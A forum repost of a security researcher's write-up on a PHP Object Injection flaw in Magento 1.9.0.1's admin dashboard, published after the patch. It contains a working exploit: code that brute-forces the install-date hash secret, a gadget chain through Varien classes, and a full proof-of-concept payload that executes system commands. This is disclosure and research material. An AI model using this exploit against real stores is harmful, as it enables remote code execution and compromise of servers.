Jump to content
Nytro

Magento 1.9.0.1 PHP Object Injection

Recommended Posts

Posted

Magento 1.9.0.1 PHP Object Injection

Recently, I found a PHP Object Injection (POI) vulnerability in the administrator interface of Magento 1.9.0.1. Magento is an e-commerce software written in PHP that was acquired by Ebay Inc. A bug bounty program is run that attracts with a 10,000$ bounty for remote code execution bugs. A POI vulnerability can lead to such a remote code execution, depending on the gadget chains the attacker is able to trigger.

Sadly I stopped investigating the POI vulnerability and resumed 1 week later – a fatal error. When I continued investigating exploitable gadget chains, Magento pushed an update in the meantime that patches several security issues. The POI is not mentioned anywhere, but it is fixed by replacing the affected unserialize() call with json_decode().

So no bug bounty, but the exploitation is still worth a look at because it includes a hash verification bypass and a cool gadget that allowed full code coverage in gadget chaining. In the end, an attacker can execute arbitrary code on the targeted server. However, administrator privileges are required.

1. PHP Object Injection

In Magento 1.9.0.1, the method tunnelAction() of the administrator’s DashboardController is affected by a POI vulnerability. It deserializes user data supplied in the ga parameter.

[TABLE]

[TR]

[TD=class: gutter]86

87

88

89

90

91

92

93

94[/TD]

[TD=class: code]// app/code/core/Mage/Adminhtml/controllers/DashboardController.php

public function tunnelAction()

{

$gaData = $this->getRequest()->getParam('ga');

$gaHash = $this->getRequest()->getParam('h');

if ($gaData && $gaHash) {

$newHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);

if ($newHash == $gaHash) {

if ($params = unserialize(base64_decode(urldecode($gaData)))) { [/TD]

[/TR]

[/TABLE]

A closer look reveals, however, that the base64 encoded, serialized data is protected with a hash from manipulation. The hash of the gaData is generated with the method getChartDataHash() and is then compared to the hash supplied in the h parameter. Only if both hashes match, the data is deserialized.

Lets get some sample data. The tunnelAction() is triggered, when the dashboard graph is loaded.

[TABLE]

[TR]

[TD=class: gutter]61

62[/TD]

[TD=class: code]// app/design/adminhtml/default/default/template/dashboard/graph.phtml

<img src="<?php echo $this->getChartUrl(false) ?>

[/TD]

[/TR]

[/TABLE]

Here, the method getChartUrl() serializes graph parameters and creates the gaHash of the base64 encoded gaData.

[TABLE]

[TR]

[TD=class: gutter]446

447

448

449

450

451

452

453[/TD]

[TD=class: code]// app/code/core/Mage/Adminhtml/Block/Dashboard/Graph.php

function getChartUrl() {

...

$gaData = urlencode(base64_encode(serialize($params)));

$gaHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);

$params = array('ga' => $gaData, 'h' => $gaHash);

return $this->getUrl('*/*/tunnel', array('_query' => $params));

}[/TD]

[/TR]

[/TABLE]

The following request is generated and can be intercepted:

[TABLE]

[TR]

[TD=class: gutter]1

2

3[/TD]

[TD=class: code]/index.php/admin/dashboard/tunnel/key/803e506c399449c72975fc1fcc2c0435/

?ga=eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9

&h=61f3757d04b665baac6f8176a2012337[/TD]

[/TR]

[/TABLE]

We can base64 decode the data in the ga parameter (line 2) and modify the serialized parameters in order to exploit the PHP Object Injection vulnerability. However, we then have to generate a valid hash for our malformed data and replace it with the hash in the h parameter (line 3). Otherwise, our manipulated data is not deserialized.

2. Hash Verification

Lets have a look at how the hash is generated and if we can forge it for manipulated data. The hash is created in the getChartDataHash() method by calculating the MD5 hash of the base64 encoded data concatenated with a secret. If we know this secret, we can generate our own hash for our modified gaData.

[TABLE]

[TR]

[TD=class: gutter]86

87

88

89

90

91[/TD]

[TD=class: code]// app/code/core/Mage/Adminhtml/Helper/Dashboard/Data.php

public function getChartDataHash($data)

{

$secret = (string)Mage::getConfig()->getNode(Mage_Core_Model_App::XML_PATH_INSTALL_DATE);

return md5($data . $secret);

} [/TD]

[/TR]

[/TABLE]

Luckily, the secret is cryptographically very weak. As the constant’s name suggests, the config value XML_PATH_INSTALL_DATE refers to the date of the Magento installation in RFC 2822 format. For example, the secret date could look like the following:

[TABLE]

[TR]

[TD=class: gutter]1[/TD]

[TD=class: code]Sat, 1 Nov 2014 21:08:46 +0000[/TD]

[/TR]

[/TABLE]

Assuming that the installation was performed maximum 1 year ago, there are less than 31 * 12 * 24*60*60 = 32 Mio possibilities. We can take the intercepted sample data to bruteforce the secret date locally. Furthermore, we can narrow down the possible date window by observing the HTTP response header of the targeted web server. For example, the HTTP response for a request of the favicon file tells us its last modification date:

[TABLE]

[TR]

[TD=class: gutter]1

2[/TD]

[TD=class: code]Request:

GET /favicon.ico HTTP/1.0[/TD]

[/TR]

[/TABLE]

[TABLE]

[TR]

[TD=class: gutter]1

2[/TD]

[TD=class: code]Response

If-Modified-Since: Wed, 05 Nov 2014 09:06:45 GMT

[/TD]

[/TR]

[/TABLE]

This should equal to the exact date when the installation files were copied to the server. We can then assume, that the installation was performed at least within the same month when this file was extracted. Also, it tells us the timezone (here GMT) used by the server. This leaves us only with 30 * 24*60*60 = 2.6 Mio possibilities which can be bruteforced within a few seconds.

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15[/TD]

[TD=class: code]$gaData = 'eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9';

$hash = '61f3757d04b665baac6f8176a2012337';

date_default_timezone_set('GMT');

// Wed, 05 Nov 2014 09:06:45 GMT

$timestamp = mktime(9, 6, 45, 11, 5, 2014);

$today = time();

for($i=0;$i<2592000 && $timestamp<$today; $i++) {

$secret = date(DATE_RFC2822, $timestamp++);

if(md5($gaData . $secret) === $hash) {

echo $secret;

break;

}

}[/TD]

[/TR]

[/TABLE]

Once we obtained the secret, we can alter the serialized data and create a valid hash for it, so our data is deserialized by the server. That means we can inject arbitrary objects into the application and trigger gadget chains by invoking the object’s magic methods (for more details please refer to our paper).

3. Gadget Chain

Magento’s code base is huge and many interesting initial gadgets (magic methods) can be found that trigger further gadgets (methods). For example, the usual File Deletion and File Permission Modification calls can be triggered in order to delete files. This is partly interesting in Magento, because the deletion of the /app/.htaccess file allows to access the /app/etc/local.xml file which contains the crypto key.

However, since we own already administrative privileges, we are interested in more severe vulnerabilities. It turns out, that the included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code on the server.

The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that allows us to jump to arbitrary clean() methods.

[TABLE]

[TR]

[TD=class: gutter]356

357

358

359

360[/TD]

[TD=class: code]// lib/Varien/File/Uploader/Image.php:357

function __destruct()

{

$this->uploader->Clean();

}[/TD]

[/TR]

[/TABLE]

This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its query() method. The table name can be controlled by the attacker by setting the property _options[‘data_table’].

[TABLE]

[TR]

[TD=class: gutter]249

250

251

252

253

254

255

256

257

258

259

260

261[/TD]

[TD=class: code]// lib/Varien/Cache/Backend/Database.php

public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array())

{

$adapter = $this->_adapter;

switch($mode) {

case Zend_Cache::CLEANING_MODE_ALL:

if ($this->_options['store_data']) {

$result = $adapter->query('TRUNCATE TABLE '.$this->_options['data_table']);

}

...

}

}[/TD]

[/TR]

[/TABLE]

If we provide the Varien_Db_Adapter_Pdo_Mysql as database adapter, its query() method passes along the query to the very interesting method _prepareQuery(), before the query is executed.

[TABLE]

[TR]

[TD=class: gutter]421

422

423

424

425

426

427

428

429

430

431

432[/TD]

[TD=class: code]// lib/Varien/Db/Adapter/Pdo/Mysql.php

public function query($sql, $bind = array())

{

try {

$this->_checkDdlTransaction($sql);

$this->_prepareQuery($sql, $bind);

$result = parent::query($sql, $bind);

} catch (Exception $e) {

...

}

} [/TD]

[/TR]

[/TABLE]

The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name is reflected, but also the receiving object. This allows us to call any method of any class in the Magento code base with control of the first argument – a really cool gadget found by the new RIPS prototype.

[TABLE]

[TR]

[TD=class: gutter]463

464

465

466

467

468

469

470

471

472

473

474[/TD]

[TD=class: code]// lib/Varien/Db/Adapter/Pdo/Mysql.php

protected function _prepareQuery(&$sql, &$bind = array())

{

...

// Special query hook

if ($this->_queryHook) {

$object = $this->_queryHook['object'];

$method = $this->_queryHook['method'];

$object->$method($sql, $bind);

}

} [/TD]

[/TR]

[/TABLE]

From here it wasn’t hard to find a critical method that operates on its properties or its first parameter. For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the regular expression of a preg_replace() call is built dynamically with the properties _startTag and _endTag that we control. More importantly, the dangerous eval modifier is already appended to the regular expression, which leads to the execution of the second preg_replace() argument as PHP code.

[TABLE]

[TR]

[TD=class: gutter]39

40

41

42

43

44

45[/TD]

[TD=class: code]// lib/Varien/Filter/Template/Simple.php

public function filter($value)

{

return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e',

'$this->getData("$1")', $value);

} [/TD]

[/TR]

[/TABLE]

In the executed PHP code of the second preg_replace() argument, the match of the first group is used ($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using curly brace syntax.

4. Exploit

Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in order to invoke its clean() method. We point the object’s _adapter property to a Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable _prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload, for example:

[TABLE]

[TR]

[TD=class: gutter]1[/TD]

[TD=class: code]{${system(id)}}RIPS[/TD]

[/TR]

[/TABLE]

We also append the string RIPS as delimiter. Then we point the _queryHook property of the Varien_Db_Adapter_Pdo_Mysql object to a Varien_Filter_Template_Simple object and its filter method. This method will be called via reflection and receives the following argument:

[TABLE]

[TR]

[TD=class: gutter]1[/TD]

[TD=class: code]TRUNCATE TABLE {${system(id)}}RIPS[/TD]

[/TR]

[/TABLE]

When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE and the property _endTag to RIPS the first match group of the regular expression in the preg_replace() call will be our PHP code. Thus, the following PHP code will be executed:

[TABLE]

[TR]

[TD=class: gutter]1[/TD]

[TD=class: code]$this->getData("{${system(id)}}")[/TD]

[/TR]

[/TABLE]

In order to determine the variables name, the system() call will be evaluated within the curly syntax. This leads us to execution of arbitrary PHP code or system commands.

PoC:

[TABLE]

[TR]

[TD=class: gutter]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43[/TD]

[TD=class: code]class Zend_Db_Profiler {

protected $_enabled = false;

}

class Varien_Filter_Template_Simple {

protected $_startTag;

protected $_endTag;

public function __construct() {

$this->_startTag = 'TRUNCATE TABLE ';

$this->_endTag = 'RIPS';

}

}

class Varien_Db_Adapter_Pdo_Mysql {

protected $_transactionLevel = 0;

protected $_queryHook;

protected $_profiler;

public function __construct() {

$this->_queryHook = array();

$this->_queryHook['object'] = new Varien_Filter_Template_Simple;

$this->_queryHook['method'] = 'filter';

$this->_profiler = new Zend_Db_Profiler;

}

}

class Varien_Cache_Backend_Database {

protected $_options;

protected $_adapter;

public function __construct() {

$this->_adapter = new Varien_Db_Adapter_Pdo_Mysql;

$this->_options['data_table'] = '{${system(id)}}RIPS';

$this->_options['store_data'] = true;

}

}

class Varien_File_Uploader_Image {

public $uploader;

public function __construct() {

$this->uploader = new Varien_Cache_Backend_Database;

}

}

$obj = new Varien_File_Uploader_Image;

$b64 = base64_encode(serialize($obj));

$secret = 'Sat, 1 Nov 2014 21:08:46 +0000';

$hash = md5($b64 . $secret);

echo '?ga='.$b64.'&h='.$hash;[/TD]

[/TR]

[/TABLE]

The POI was straight-forward but we had to circumvent a hash verification first and find nice gadgets. A reflection injection allowed us to trigger almost arbitrary gadget chains through the entire code base that in the end allowed remote code execution. In the next post we have a look at another POI I played with lately, but triggering the POI itself will be more tricky.

Sursa: https://websec.wordpress.com/2014/12/08/magento-1-9-0-1-poi/

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...